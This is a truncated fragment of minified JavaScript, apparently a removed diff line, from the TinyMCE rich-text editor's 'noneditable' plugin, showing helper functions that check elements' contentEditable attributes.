-tinymce.PluginManager.add("noneditable",function(e){function t(){function t(e){var t;if(1===e.nodeType){if(t=e.getAttribute(s),t&&"inherit"!==t)return t;if(t=e.contentEditable,"inherit"!==t)return t}return null}function n(e){for(var n;e;){if(n=t(e))return"false"===n?e:null;e=e.parentNode}}function i(e)...
[truncated message content] |